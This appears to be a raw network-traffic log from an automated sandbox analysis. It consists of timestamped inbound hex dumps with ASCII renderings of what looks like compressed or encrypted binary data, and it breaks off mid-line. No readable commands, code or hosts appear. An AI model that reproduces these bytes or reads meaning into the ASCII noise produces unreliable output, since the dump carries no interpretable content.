2023-05-31 10:22:21 UTC	2282	IN	Data Raw: 08 f8 42 a4 2f 16 7c 21 d9 37 06 7c 81 b2 d9 64 c0 bf 89 ff 96 33 06 5c ef 5b 01 be b0 c6 d7 04 be b0 d1 b7 05 7c 61 a7 af 05 7c 61 9f ef 00 f8 c2 11 1f d7 3c 80 7e 46 96 ad 0d c5 b2 55 a1 31 6c 55 28 95 cf 02 5f 98 c1 66 8d 6b f8 25 e0 0b 2b f8 46 f0 85 26 7e 3d f8 02 65 f0 d9 0e 7f df 03 be 70 80 ad 0e 71 8c 07 27 32 06 cc 0b 3a f8 42 16 63 c0 b3 85 72 f0 85 25 42 3d f8 42 a3 b0 06 7c 61 bd b0 11 7c a1 59 d8 09 be b0 47 d8 07 be 70 88 cd 5e 45 8a b1 e0 0b c9 6c fe 4a 67 73 57 79 2c f2 95 b3 98 57 cf a2 dd 1a 16 e7 36 b2 08 b7 93 c5 b6 7d e2 01 f0 86 23 22 27 85 03 03 12 c1 1b c6 48 3c 78 43 aa 94 05 de 40 99 98 4a 81 01 4b c0 1b 56 48 8d e0 0d 4d d2 7a f0 86 2d 52 33 78 43 8b b4 07 8a f7 80 74 08 cc 81 93 23 c1 1c 12 e5 64 30 07 5e d6 c1 1c b2 e4 3c 30 Data Ascii: B/\|!7\|d3\[\|a\|a<~FU1lU(_fk%+F&~=epq'2:Bcr%B=B\|a\|YGp^ElJgsWy,W6}#"'H<xC@JKVHMz-R3xCt#d0^<0
2023-05-31 10:22:21 UTC	2298	IN	Data Raw: e7 f7 ef 98 a3 3c bc 60 6b b7 39 ca c3 0b bd a7 ee 98 a3 3c 7c aa bf bc 43 8e f2 f0 69 e2 9f e7 28 0f 9f 9e d2 4d 8e f2 f0 17 0f 87 fd a7 39 ca c3 db 72 92 f7 d0 a8 f3 5b b3 90 1f e1 da 65 21 af ed d1 45 16 f2 53 7b 06 67 21 a7 6f 41 59 c8 e9 2b 65 7e 1e d5 b3 53 16 72 2a ea e7 cf 42 de 33 fe 31 ca e2 ed 65 21 ef 99 e0 d9 ac 97 85 bc 67 7f 66 1b 71 5e 16 f2 9e 03 e8 5b 44 9c 97 85 bc e7 40 3a 0c b6 4b ee f3 42 4f bf fb f5 c4 68 d3 59 7b 26 2e 40 51 0f 2a 0f cf a6 ef 05 f4 b1 c7 bb f4 dd db 4f df f3 34 56 f2 25 95 78 59 c8 7b ce 61 25 ec c7 0e d8 f4 5f 97 f9 98 df 6c ab ee 2a 1f 73 5b 75 b7 f9 98 59 93 ae f2 31 b3 8a 6e f3 31 b7 9d f9 4f f2 31 b7 35 ea 3a 1f 73 5b fd 9f e5 63 ee be 55 5b 3e e6 b6 36 7f 2b 1f 73 5b f3 bf 97 8f b9 ad 7d e7 7c cc 1d eb ba cc Data Ascii: <`k9<\|Ci(M9r[e!ES{g!oAY+e~SrB31e!gfq^[D@:KBOhY{&.@QO4V%xY{a%_l*s[uY1n1O15:s[cU[>6+s[}\|
2023-05-31 10:22:21 UTC	2314	IN	Data Raw: 80 e3 d9 0f 8b ca cb a3 28 63 2d db 3f 48 ee be ca 25 0f 1e d6 7f 0e 80 87 ca ad 20 39 d9 7e 8f 34 da 06 5a 3d d9 a2 6c d2 d1 b0 d5 98 05 5c d5 30 54 5a 6e 87 40 13 29 ba 79 25 ac 12 2f 97 e9 ca fa 6c ff a6 75 1b 57 ae 87 67 ad e5 0e a8 ae 64 44 e0 fb 57 a3 dc 79 2e 90 46 a1 23 f1 25 1e 92 cc 5b 79 4e fa 68 94 cf 1e b5 04 96 d2 bf 77 0a 3c 24 0a a0 a9 1d cd 50 e5 e8 ee 8e ae 3d 44 cd fa d0 d4 8e b1 45 80 a4 65 7d 68 6a c7 38 4a 60 cc fa d0 d4 8e 6e d8 ac cb 72 d0 d4 8e f1 50 91 43 83 46 c7 84 eb ca 64 bf da 43 68 6a c7 c4 03 3e 34 b5 3d 80 a6 76 4c 3a e0 43 53 b3 01 34 b5 63 32 74 a2 cb 48 81 b2 6f 89 ff 83 03 d3 88 f8 b4 d3 8e 29 53 49 30 f5 12 79 79 69 89 f7 63 8c 3f d1 7d 82 dc 9c 0c 4d ed 98 fb 2b 2c 04 d0 d4 8e f9 5e 18 41 53 3b 56 7a 60 b0 00 9a da Data Ascii: (c-?H% 9~4Z=l\0TZn@)y%/luWgdDWy.F#%[yNhw<$P=DEe}hj8J`nrPCFdChj>4=vL:CS4c2tHo)SI0yyic?}M+,^AS;Vz`
2023-05-31 10:22:21 UTC	2318	IN	Data Raw: f4 64 49 03 a6 63 7a 8a 17 9e cf 21 73 d3 87 a0 64 19 99 9b 3e 14 c9 fc 1f 89 f4 54 7e da 28 ff 20 a4 7b 50 12 42 e6 a6 a7 f1 85 bd 0b 7d fa 30 14 95 90 b9 e9 e9 b8 8c ea cf 40 7a 06 9e e4 08 99 9b 9e 89 bb 81 90 b9 e9 c3 79 81 63 7a a6 8f 90 4b f9 c8 dc f4 91 bc c4 23 73 d3 47 49 aa 87 cc 4d 1f cd 0b 01 32 37 3d 4b 28 10 20 73 d3 c7 f0 82 87 cc 4d 1f cb 47 39 64 6e fa 38 a1 88 8f cc 4d cf e6 e3 0c 99 9b 9e c3 2b 21 32 37 7d bc 20 28 90 b9 e9 b9 8a 1c 01 99 9b ee 15 07 52 40 e6 a6 4f 10 07 4c 44 e6 a6 e7 29 06 82 cf 38 51 3d 86 7c d2 7c e5 01 e0 73 4e d2 8f 2e 9f 78 b2 72 a4 f9 9c 05 15 26 0a 9f b9 50 3d 69 f8 a4 45 9a 83 c8 67 2d 56 1f 50 3e a9 8f 4f 52 21 73 d3 a7 e0 1c 09 99 9b 5e 82 65 09 99 9b 5e 8a 65 09 99 9b 5e 86 65 01 99 9b 3e 95 6b 99 21 73 d3 Data Ascii: dIcz!sd>T~( {PB}0@zyczK#sGIM27=K( sMG9dn8M+!27} (R@OLD)8Q=\|\|sN.xr&P=iEg-VP>OR!s^e^e^e>k!s
2023-05-31 10:22:21 UTC	2334	IN	Data Raw: 09 07 e3 e9 80 01 57 db d9 f1 7e 52 63 27 03 5a cb 47 02 66 8e c2 df dc 87 d3 31 2d 3d ed 0a d1 9a 08 a5 d2 89 58 92 ac e4 16 20 9e 4e a8 7b d3 b0 50 d1 48 5f 24 45 ea b8 be e3 e1 d4 a0 1f 73 bf 25 42 e1 50 0a 3f 67 ef 51 03 a1 58 28 1c e9 86 88 23 f5 26 35 da dd af 87 d1 2a 61 65 30 29 77 30 12 de 4f 56 8b 93 15 89 75 07 43 dd a4 c1 44 f1 d3 c2 9e 50 42 0d 86 31 51 25 9b e1 24 69 34 ed 71 d4 61 e8 49 93 26 6e 5d 51 8d 00 e7 1d d3 66 a9 fe 60 30 41 d6 70 de 63 36 cb 08 ac 3b bc f4 b5 b7 e1 4a 90 b5 45 cc 5d 64 9d b5 59 a0 43 9f 10 94 d8 76 37 5b f0 f5 b6 65 c1 6c 6e b1 1e 58 85 0d dc d9 15 49 fa a3 91 9e 58 28 c8 06 a1 73 30 c0 0a 51 94 24 1b c5 e9 48 fa 7b c3 64 93 88 75 47 53 41 72 81 88 05 52 64 b3 88 f4 46 d8 74 85 23 e0 c4 16 4b a3 9c 69 ab 68 0a 87 Data Ascii: W~Rc'ZGf1-=X N{PH_$Es%BP?gQX(#&5*ae0)w0OVuCDPB1Q%$i4qaI&n]Qf`0Apc6;JE]dYCv7[elnXIX(s0Q$H{duGSArRdFt#Kih
2023-05-31 10:22:21 UTC	2336	IN	Data Raw: 2b 1c 18 0e 32 a6 74 83 49 74 96 31 a5 1b 1d 9a e2 55 4a e9 26 87 26 04 c2 05 22 c1 26 63 4a 37 17 27 18 32 a6 74 8b c9 29 22 63 4a b7 8a 9e 3a c8 98 d2 6d b6 56 9c 64 4c e9 85 1a ad 14 4d ad 8a 9a b2 45 b9 a6 a6 56 45 2d 63 4b a2 a6 56 65 c9 9a 5a 65 8d 45 34 b5 3c 37 bd d6 60 60 4c 53 cb 73 33 7e 2a 2d 6a 6a 79 9c 34 b5 3c 8d ae 7d 8d d8 fb a3 0d c4 aa a9 e5 59 e7 9a 62 b6 7c 63 31 4d 2d cf 66 56 dd a6 a9 e5 d9 ce aa 5a 34 b5 3c 6d 2e be 1b 43 53 cb b3 db 95 e7 c8 9c a6 96 e7 12 d7 37 6c 9a 5a 1e bf 00 ea 9a 5a 9e b0 15 d5 34 b5 3c 97 d9 70 a6 a9 e5 e9 67 38 a7 a9 e5 dd c5 be 9d 58 48 53 ab 6a eb dd 0d ce 94 42 aa c7 aa 6d 1a 05 f7 1f 43 f5 69 e9 20 2e bb 83 a6 d6 d2 bb 58 f4 68 09 4c 78 4d ad a5 53 2e d3 62 e4 b8 94 a7 39 d0 d4 d4 92 d3 65 26 cc 6b 6a Data Ascii: +2tIt1UJ&&"&cJ7'2t)"cJ:mVdLMEVE-cKVeZeE4<7``LSs3~*-jjy4<}Yb\|c1M-fVZ4<m.CS7lZZ4<pg8XHSjBmCi .XhLxMS.b9e&kj
2023-05-31 10:22:21 UTC	2352	IN	Data Raw: 9f 92 a5 40 5c 9f 53 b2 0e b7 12 c8 76 20 ce 2f 28 f9 18 cb 08 e4 47 24 07 a8 ab 67 c1 74 39 24 90 01 38 81 fe 92 92 62 20 6e 81 fc 16 48 e0 4b 39 16 81 8f 58 2c f6 18 6e 6e a5 3b 16 f8 15 8a e4 53 9d 10 8d da 6a 21 1e 53 b0 86 5f 59 f7 f7 6a 28 13 fd 8a ea 9a 0f c4 79 90 3a 76 1b ee 47 20 2b 80 c4 04 b2 1a 88 27 4e c9 66 20 11 81 bc 8e 65 be a6 e4 7d dc 8f 40 0e 02 09 1f a2 04 6f c9 07 be a1 35 ec 04 24 72 98 92 21 40 e2 df 53 32 1e 48 f0 a8 70 46 06 c4 f9 13 25 d7 61 99 ec 76 84 fc 15 88 b7 3d 25 a1 be b8 1a 78 3b 52 9f 0d 40 a2 0e 5a e6 0d 3c 3a 27 bc 25 7c c5 5a 02 3a 2a da 9f ee 96 d0 83 b7 84 fa f2 7c 93 b9 e8 a7 f8 58 c3 59 ed 6c c7 77 bd 0c 1e 0b 9f 5b ce ec 15 2a ed 1c 36 ea a5 7e 4f 7c bd c2 58 30 48 d0 de 60 b8 e7 f2 3d 46 d0 42 3b fe 72 e0 b4 Data Ascii: @\Sv /(G$gt9$8b nHK9X,nn;Sj!S_Yj(y:vG +'Nf e}@o5$r!@S2HpF%av=%x;R@Z<:'%\|Z:\|XYlw[6~O\|X0H`=FB;r
2023-05-31 10:22:21 UTC	2368	IN	Data Raw: 0b 32 69 dc e3 3b 23 28 e4 d8 8f 46 8e 51 82 59 9f de 76 9c 41 7b 5c da f7 dc 2e b0 f1 8b b8 e7 82 04 df e7 8a 95 81 68 1f 9a 15 4b 94 4c 2d 6c 56 29 d5 dd e6 fe 0a bd d2 a8 3d 4b 4b a9 58 d4 50 ac 91 d9 c4 50 6c 99 82 62 7f 0a c5 ac 0b 56 0e 21 4f d7 d9 2b 36 0d 36 43 4e e6 8a cd 25 0d 05 59 06 e2 5a c7 35 fc 88 b2 4e 90 ad 20 8e f5 9c ec 23 1b 41 fe 04 71 7e c4 c9 09 cf d0 fb 90 9c d4 06 f1 7e cc 49 13 b2 f9 d8 1c af 84 5f f1 f9 3c 1a da 41 ea 73 2c f1 d2 3d 4d f2 3e 2d fd e2 fb 3b 28 c4 a2 c6 e9 22 16 96 17 d1 2e 81 17 be 88 7d 2c 6e 80 4d 58 cc d5 ef 05 f1 1b c4 78 52 1c d1 7d b7 d9 05 d8 f0 dd ab a5 7a aa 38 fc e4 f4 67 10 ad 9d 9e ab f3 52 ea 13 55 d0 e7 0c 93 3e 3d 4c a7 90 42 f2 3d 8d 3e 83 61 13 89 f0 dc 18 43 b9 11 b1 8c 7e 86 3e d6 fb 2d c6 75 Data Ascii: 2i;#(FQYvA{\.hKL-lV)=KKXPPlbV!O+66CN%YZ5N #Aq~~I_<As,=M>-;(".},nMXxR}z8gRU>=LB=>aC~>-u
2023-05-31 10:22:21 UTC	2384	IN	Data Raw: 6b b9 1d 12 22 19 0f 89 91 fc 5b 7e 24 b7 43 cb 72 88 97 64 3d 24 b2 53 cb 2e 29 b3 5b 4b d5 56 c8 f0 67 2d a7 42 62 7b b4 b4 83 98 fb 68 9d 21 c1 fd b4 07 81 84 48 ee 86 44 49 1e 96 39 93 bc 00 89 93 2c 83 18 25 5a 36 40 5c 24 fb 21 6e 4b ac e7 15 7c 9d da 76 6e 3a 59 9e 19 a2 3f b9 1e 37 82 0e 8e 91 1e 74 b0 7d cd 3a b6 7d 95 f1 0b 04 c3 a8 7d 06 7a 66 aa a6 19 b6 e5 26 28 13 a4 7c 3c 90 28 49 21 c4 75 80 8e 6d 20 26 89 1f 12 21 31 21 71 92 71 10 ef 41 da 9a 64 e9 24 cf c9 54 24 8b 64 aa df 69 fb 92 a5 93 6c 92 a5 93 ec 90 f9 90 fc 06 71 1f d2 92 7f 26 7a 2f 49 6d 48 80 a4 39 24 4c d2 01 12 23 29 84 b8 0e d3 d8 02 f1 92 f4 87 98 24 23 20 21 92 09 90 28 c9 23 f2 fa d9 23 b4 1f 84 78 48 16 41 fc 24 2b 20 41 92 0d 90 08 c9 6e 48 9c 24 bf 35 fe 3e aa a5 11 Data Ascii: k"[~$Crd=$S.)[KVg-Bb{h!HDI9,%Z6@\$!nK\|vn:Y?7t}:}}zf&(\|<(I!um &!1!qqAd$T$dilq&z/ImH9$L#)$# !(##xHA$+ AnH$5>
2023-05-31 10:22:21 UTC	2400	IN	Data Raw: 2a 6f bc c8 a8 a2 94 67 0a 6f ea d5 7d b3 e9 7e 38 eb f2 d2 64 1d 6f 5c dd 1b b2 45 75 af 77 c1 9b 27 93 99 59 a3 67 e6 9c eb 2b ab 97 04 a6 16 a9 b9 79 1b 45 39 b0 36 cd 99 c2 92 40 13 a5 74 50 6f 33 7c 0d 7f ad c8 04 1c 4b 9d ce 84 cb ee 12 99 c0 e7 56 e6 7d c2 ef 27 64 ee 13 fc 19 a2 cc 11 2c cf 13 11 5c a9 99 45 90 a3 53 68 21 3a a5 a3 44 74 26 03 4b 1f 2b 85 0f f5 fb 20 6d 63 e1 5e 64 96 f1 3e 08 8f 32 ea 7d 90 d8 c8 34 f7 41 92 ac 76 60 b5 02 6b 26 b0 f6 03 6b 20 1d 2b 99 75 2b 4b 52 df 35 e3 8d 63 fa b1 1e 53 be 4e 6b 1e d3 e3 7a 4c 73 e1 ff 45 bc f6 e8 f1 ba 15 e2 a5 af d2 d1 73 15 73 c3 c9 5c e5 1c 6b cb 90 63 9c 1b 0b f5 dc 28 85 36 fa 37 eb 75 1f 36 2c 5b 4c a7 f9 d3 4c e6 cf bb d7 3a 33 2e 5b a9 c1 3b ee 16 f1 9a 78 56 aa 78 65 4d 14 f1 9a 94 Data Ascii: *ogo}~8do\Euw'Yg+yE96@tPo3\|KV}'d,\ESh!:Dt&K+ mc^d>2}4Av`k&k +u+KR5cSNkzLsEss\kc(67u6,[LL:3.[;xVxeM
2023-05-31 10:22:21 UTC	2416	IN	Data Raw: 27 d1 b4 8a 21 f5 e4 2b e7 4b a1 16 63 dc 2d ae 51 2e 90 a4 dd 7c 16 9e 10 0f 39 f7 41 90 26 93 f9 57 63 43 cd a7 5a 89 8a 03 49 97 7b 89 25 66 9a af b9 46 6d 86 64 cf e0 1e e9 47 48 b2 8c 4c 2b 86 3c b0 f7 f3 56 6b 44 f8 f3 71 4a 5f 1a 6d 31 de 92 2b b5 33 64 b2 3c fd bd 0e 29 aa c1 c7 e3 05 59 2d bf f2 83 fc 5a 5b 56 db 81 5c 1d c3 b9 f1 2e 64 d3 21 59 8b 0d 92 d1 91 ef 21 b7 43 da 2c 90 b5 d8 20 1b 4f 71 8d ba 39 da b1 4f 30 c2 f0 84 d8 82 4b a7 3e a4 8b ac cb e9 01 f1 de c0 e5 3e 04 b2 5b 62 87 c6 42 72 d6 72 fd 99 05 09 92 2f fb ab 21 85 8f f8 2a bc db dc bb cc c6 3d 05 19 50 c4 b5 f7 0e 24 43 6a c2 cb e1 16 63 ab cc 5a 6d 02 99 52 81 b7 d3 03 72 50 66 46 07 41 8a ba 71 5f 37 06 d2 52 c6 e4 4c 83 1c 3a 25 31 cf cd 5f bd c1 bf da 00 99 73 54 62 43 41 Data Ascii: '!+Kc-Q.\|9A&WcCZI{%fFmdGHL+<VkDqJ_m1+3d<)Y-Z[V\.d!Y!C, Oq9O0K>>[bBrr/!*=P$CjcZmRrPfFAq_7RL:%1_sTbCA
2023-05-31 10:22:21 UTC	2432	IN	Data Raw: 3f d4 74 e2 f2 11 6c 2e af 08 8c 13 b3 79 4a 90 f7 8f 87 87 6f 37 97 f7 51 a6 bd ae 93 8d 9e 15 86 9e 33 08 f9 a2 31 0c 73 4b f3 fd f5 cd 97 84 73 1a 77 9c 54 58 eb f5 07 9e e9 39 4b e7 23 8b 27 24 8c 53 38 cc ad 54 12 46 8b 44 39 5a 75 7e ae b0 96 84 82 a7 dd db b5 b0 4b a3 e7 7f 4d e1 db c3 62 59 b5 a0 32 9c 4c 5c 67 f3 36 f3 21 c8 7b ba b3 ab b4 37 63 02 d8 e6 40 74 cd b9 cb 33 e7 70 94 d9 f1 29 d9 5c 8c 3c 05 cd ea cd f6 3d 1b 25 4b b0 5e 5e f3 31 18 41 6e 51 a8 05 23 cb 17 bb df 5d 84 0b 11 fe a7 7e 21 22 6c 4f e8 12 0f 58 d7 a7 17 22 1c 57 27 c6 d8 65 15 81 25 b7 52 0d 1e dd 61 70 18 29 f9 73 99 c5 96 b2 88 85 fb 78 81 59 de ab b0 5b 46 61 7c 4e 05 93 37 26 fc fe 2b b9 34 1a 28 c9 bd d1 40 0a d7 ff 24 41 cb 25 b2 e4 f6 b8 f5 9a ec 8c 4d fd b6 69 91 Data Ascii: ?tl.yJo7Q31sKswTX9K#'$S8TFD9Zu~KMbY2L\g6!{7c@t3p)\<=%K^^1AnQ#]~!"lOX"W'e%Rap)sxY[Fa\|N7&+4(@$A%Mi
2023-05-31 10:22:21 UTC	2448	IN	Data Raw: 6d 5d 7b ba 4a 76 a2 7f 84 89 ae c0 1b 94 b6 c0 25 c7 36 5a 3c f7 70 52 cb bc 9f 8f 0a 6e c2 f4 23 d1 91 2e 9f 17 6e 91 4d 74 5b 9d 89 ae 53 99 14 9e 0a 2b 6d e8 75 55 4c e1 05 19 6d 4b ed ba ba f4 b9 a3 9c a7 3a 53 ab 7d b3 5f 7a 07 7d d1 26 7a a2 ed 94 fd 55 9c 9f 6d 6f 1e 39 70 36 73 a1 6e 32 5e f0 bc 50 d0 89 68 9b 68 77 6b 28 5c de 2b 9c a3 f4 0b 76 8d 85 05 4c d7 95 15 6e e5 eb 27 3d 83 a2 85 43 f6 1c 0e fb 89 3e 00 75 31 79 50 ba 53 57 7a 8e a2 20 2b 14 1e f7 99 e8 27 f7 93 92 02 59 d3 62 92 c7 63 ed 3c 74 52 68 e3 82 81 42 b7 f0 d2 4f e9 7d cc 82 37 9d 91 3e 7b 6b 0a 3b f7 e4 f7 01 1f 32 c6 f9 b0 20 a2 6b 9a 44 12 5d b8 17 46 75 37 b7 3c cd db e5 a9 75 72 7d 41 c8 29 39 18 d7 65 d9 89 3e 91 4d 94 5e 58 2d 41 c3 c8 3d 80 c8 5b 7e bb f6 1d 96 82 a6 Data Ascii: m]{Jv%6Z<pRn#.nMt[S+muULmK:S}_z}&zUmo9p6sn2^Phhwk(\+vLn'=C>u1yPSWz +'Ybc<tRhBO}7>{k;2 kD]Fu7<ur}A)9e>M^X-A=[~
2023-05-31 10:22:21 UTC	2464	IN	Data Raw: e1 b8 51 65 60 11 5e 0a ae f0 ee 91 6b 18 ef be 87 c7 cb 98 c3 c4 0a 3e 0e d4 2d f8 34 10 bb e6 4b 90 32 2a 22 e8 13 44 d0 47 44 10 31 94 5a 07 b8 75 0d b6 de a1 5a ef d0 5b ef 10 ad 6b b8 04 26 3a c8 86 30 43 3e 88 d9 0a bd d6 05 12 7f 39 51 b9 5e 48 b7 a4 04 b1 85 1a f1 9f 4d 83 7c 96 7e 2c 82 8e 2d df ff 28 35 c1 2b d4 47 7c f6 2b 5c 27 0a fc dd 04 2d c0 77 30 80 25 e0 2a 53 c9 01 9c 38 6b e0 7e cd 7f 67 2e 78 ec 84 b4 7c b9 7d 1e d6 bd 70 10 b5 d4 cd c0 6e 28 f3 ef 4c 20 53 19 e1 52 fa d6 e2 26 ce c5 cd d8 04 8a bc 10 9e 5b 85 0c c4 c6 09 e4 ea 71 98 15 11 98 e5 66 cd e7 4f 50 61 7f f5 99 74 0b 03 db f2 ba 9a 43 a7 00 b7 74 07 e0 6d 79 3a 92 9c 9d 01 65 46 1e 0a db 4d 24 85 65 0a ce b1 46 e3 1c 70 ed 87 aa 80 ff 48 d9 00 8f 62 30 61 ad 5a 95 c5 49 38 Data Ascii: Qe`^k>-4K2"DGD1ZuZ[k&:0C>9Q^HM\|~,-(5+G\|+\'-w0%S8k~g.x\|}pn(L SR&[qfOPatCtmy:eFM$eFpHb0aZI8
2023-05-31 10:22:21 UTC	2480	IN	Data Raw: e0 c2 e5 26 a1 d1 7a 67 ae 59 6e da 99 4f 5e ec f2 ce 44 12 ec cc ab 5f 58 ed cc 67 cb d4 9d 49 a3 10 fd 08 ba fd 07 33 95 cd d6 0b dd 11 fc f5 a5 64 c6 8b 60 38 88 ee 0d 58 8e d2 fd 53 a2 76 a6 ab 87 57 93 8b b8 64 39 69 42 e1 81 8c 3b 63 8b 07 50 87 a1 d8 91 66 aa 79 c4 63 50 5a f9 c2 f2 52 2a 58 d0 a8 3e e0 12 4f d3 b9 7b 06 9f 82 d6 50 af d6 1e a9 e7 b5 47 f0 83 7a a5 f6 08 b5 4d 6d 07 ff b1 54 4e 56 15 8e b7 ee 56 b0 2c a8 2f d8 21 c4 bb ee 18 c4 3b 53 d3 ae 35 4d 83 d0 10 03 3b ea 50 c5 0e a1 8a 5d f3 03 cf 73 af a5 26 ac f9 f3 f3 5d c6 9a a6 04 58 b3 a2 d9 0a 6b 9e 59 42 c5 ff 11 1b 30 df 22 1c 70 c1 a6 f3 07 6e dc 0c f4 2a 66 e2 9c 40 6f ae f3 c2 a3 90 68 03 61 16 f0 a0 46 3c 70 41 74 a4 4b 27 b9 0c f8 ab a2 c5 ed ce 53 56 b9 6b 74 71 7f b1 69 1d Data Ascii: &zgYnO^D_XgI3d`8XSvWd9iB;cPfycPZRX>O{PGzMmTNVV,/!;S5M;P]s&]XkYB0"pnf@ohaF<pAtK'SVktqi
2023-05-31 10:22:21 UTC	2496	IN	Data Raw: b6 44 4b a0 3c 51 13 0d 74 22 8b d2 e3 20 4d bb a0 83 43 d2 ca 34 61 b1 c2 31 35 d5 d5 66 44 4e a3 d3 2a 88 47 6d 59 1a 50 01 17 9c c0 04 92 76 d0 8e 2d e7 88 0e a3 05 53 da 2f 5d a5 96 9a 56 34 4b cd fd 96 7b ef 7b 95 aa 98 99 c3 8f 54 de bb cb 77 bf bb bc 7b bf ef 7e 5b bb 34 bb 0c b5 f8 6e 59 34 20 48 6b cf 18 a4 cd 67 0c 52 ec 8c 41 6a 3e 63 90 8c 9d 67 0a 52 e0 8c 41 2a 1a 28 24 8a 81 d5 18 ec 16 10 c4 9f c8 5b 7b db 1f 02 8b ff 98 2b 6f a7 ca 03 04 90 25 28 d0 0c c9 36 f1 e5 35 06 7b f1 8e 4d e4 b8 75 ce bf 62 8e a0 17 83 bd 3f 09 a6 eb 65 cc 6f 7e 5f cd 86 8b 3f 58 5b df 6b d4 3d eb 10 fe 25 fe 21 4b 43 33 73 36 34 31 6b 43 97 66 34 34 16 1b 62 1e 5f f0 2d de 68 55 3a 5c 03 d6 e5 8f 38 ae 5c 51 fa 3d 57 5f 81 a2 b8 e4 67 73 b4 14 1c a2 17 5c 19 2c Data Ascii: DK<Qt" MC4a15fDNGmYPv-S/]V4K{{Tw{~[4nY4 HkgRAj>cgRA($[{+o%(65{Mub?eo~_?X[k=%!KC3s641kCf44b_-hU:\8\Q=W_gs\,
2023-05-31 10:22:21 UTC	2512	IN	Data Raw: 74 9c 7c ee 54 e5 c0 bb 65 50 12 bc aa 16 ce eb a0 71 06 bb fd e2 86 06 99 47 57 4e 84 35 37 26 39 ce 9a 85 f2 83 77 9a 94 df d9 98 94 c1 e6 ca 07 53 b8 e2 7d 52 9e 42 2a c1 94 20 81 4c 85 7b 76 12 15 36 66 a1 c2 f3 0b 58 66 4e e1 b8 48 9e e0 df 13 49 8a 3c 4f 69 19 37 90 13 32 05 38 9f 26 c8 11 f9 e7 02 f1 2b d4 26 f4 75 9b 52 6f 89 07 c0 eb e7 50 d1 90 d8 f2 c5 09 86 a2 bc df 04 b4 bd cf e3 91 8a fe 50 e6 b7 34 f0 60 83 34 0f 46 fe ed 38 fb a9 4d 15 6b d7 3a cd ee 36 b5 04 9d 7d 4e 7b c8 e0 cb be d9 0e 19 8c ee 9d 3e 8a af 7e d7 2e a8 eb b3 d0 ec a1 f9 49 f3 90 01 f8 3b dc 80 58 79 aa 0e 69 d2 93 c3 b3 a5 1a 8a 96 44 2f 53 0e 32 ca 09 fc 77 af 26 92 0b 28 84 9a bf fb 8e be a0 51 e5 ed e8 ad 3e 15 94 b6 62 5d 2a 14 3a 3c ba b0 0a be a7 6b 49 fb c5 75 37 Data Ascii: t\|TePqGWN57&9wS}RB* L{v6fXfNHI<Oi728&+&uRoPP4`4F8Mk:6}N{>~.I;XyiD/S2w&(Q>b]*:<kIu7
2023-05-31 10:22:21 UTC	2528	IN	Data Raw: 87 51 b0 85 be ea e1 1e 4d 63 d5 94 c2 aa 29 64 d5 14 b3 aa 6a e6 87 bb 2a e4 54 67 95 8c 85 37 09 5b 75 c6 b2 2a 8c 65 c5 7a ac c0 58 01 15 6a 1c d8 2a 05 91 a5 6c 4d c6 19 a4 1e db ad ec 0f 23 3e c6 02 ae 91 23 62 97 99 d3 90 39 ed 6b 6d c7 c1 01 17 cb 34 ec b5 d2 90 39 ed 59 99 16 99 0d 86 eb b9 8a f7 80 c1 50 16 a1 51 09 4b a8 e8 30 1f 05 7c 78 5f fd e2 98 bb 59 81 4e bc ce cc 09 ef f4 b9 c2 be 99 4b 7c ae 88 6f ce 02 65 39 0d fb 5c fd a8 27 87 11 01 b5 92 84 1e 56 c4 6f b8 0e f1 5d c2 cf 57 c0 9b 88 af 61 81 98 14 b4 75 35 42 eb 6a 58 ae ab 0f fc 5d fa 4a 40 29 ff 65 58 57 01 d8 39 7e 3e 30 dd d1 a6 fa c5 3e 89 ef 84 33 cb a2 32 5a 54 db 00 d3 93 a6 db af 71 65 8d 19 56 d6 58 c9 95 35 96 b3 b2 d6 f6 1b 57 d6 37 4a f0 fc 7d db 0c 2b 2b 7a 63 3d 2c db Data Ascii: QMc)djTg7[uezXj*lM#>#b9km49YPQK0\|x_YNK\|oe9\'Vo]Wau5BjX]J@)eXW9~>0>32ZTqeVX5W7J}++zc=,
2023-05-31 10:22:21 UTC	2544	IN	Data Raw: cb 71 31 3e 80 f7 c6 0d c1 3c 52 60 15 ba d0 0e 20 66 33 ff 3e 60 be df 1f d7 bc 5d fe 42 59 92 c0 2d 3e 25 fc fc 22 e9 17 9d 3b 81 13 3a da 60 7c 72 62 5c de bc 5d 6a 9e 8d cb f3 49 f4 b3 4f fb a0 aa d0 24 bc 82 41 7a eb 37 d4 e4 ad 7d 18 eb ec ac f2 bd 87 6f 4c 9a 82 07 60 92 b7 a0 39 fb 6b 65 57 70 23 ac 1a 71 e7 a6 4a a1 c6 e8 04 bd ff 75 44 ea f6 ad d4 8c 50 06 d4 28 ad ee af 7c ba fc 23 3c 69 da 38 0e 2a fa 54 af 05 97 ac d2 ea 82 af 57 44 77 fc 63 a5 18 8f f8 99 4d d1 d1 4a 3b cf 72 3b 2e 4f c7 75 fc 41 98 6e 56 21 9d 43 f4 63 d4 e2 ef d9 24 0f 1e 71 c7 6b 99 61 d0 54 ad ec dc 4a 31 81 12 6a f9 00 84 41 18 87 7c ef c7 1e 25 31 83 f2 c4 3f c4 62 07 9e 3a d3 29 0f 03 7e 8d ed 8c ff 0f 7a ef 30 79 7f 82 6f 8c ec 8f cb 46 76 b6 d3 f7 fe c0 79 30 58 3a Data Ascii: q1><R` f3>`]BY->%";:`\|rb\]jIO$Az7}oL`9keWp#qJuDP(\|#<i8*TWDwcMJ;r;.OuAnV!Cc$qkaTJ1jA\|%1?b:)~z0yoFvy0X:
2023-05-31 10:22:21 UTC	2560	IN	Data Raw: 5d 6b 7a 53 8b 4a 0b 66 96 c1 32 5a eb 74 f1 5d 6d f5 28 08 7f 9d be 50 4f 66 e7 a5 25 89 45 fa 12 75 8d be 44 5b a0 27 27 b3 3a 32 a1 13 61 9c 56 4e 2d ea 3e 48 e0 5d 17 96 42 51 90 c4 7b 32 2c 89 a2 d8 85 da ed 21 9d 5e 87 ba 6e 3f 77 eb 80 0c de da f3 db 61 68 e3 f9 04 b8 78 23 69 ac 20 d5 51 74 d3 18 15 ef 5c 6c eb ef 5c 1d b0 d6 d0 b6 54 5d 17 f2 43 67 0e c3 28 46 eb ad ad a2 5a 2f 76 e1 bc 5d a4 a9 c2 d2 e1 b0 46 8e f9 8b 7e 1f a7 3b 27 6e 81 d7 a9 a6 74 bd 1d 15 d5 76 10 2b 35 b0 e6 59 48 b3 75 55 9d 48 13 d4 ef 22 fd 97 e4 8f 3a 87 5a 34 0b 0d 99 c5 22 8d d9 13 0b 26 15 cf 2c 40 0b b6 5c 8d 72 c5 ee f0 a0 d5 1b 64 90 7b 31 be 83 60 a9 ac f1 90 59 19 45 9f a5 ca 5b 57 81 f5 c0 2a ab 0a c8 67 91 ab ed 8b 2d d5 36 58 50 95 db 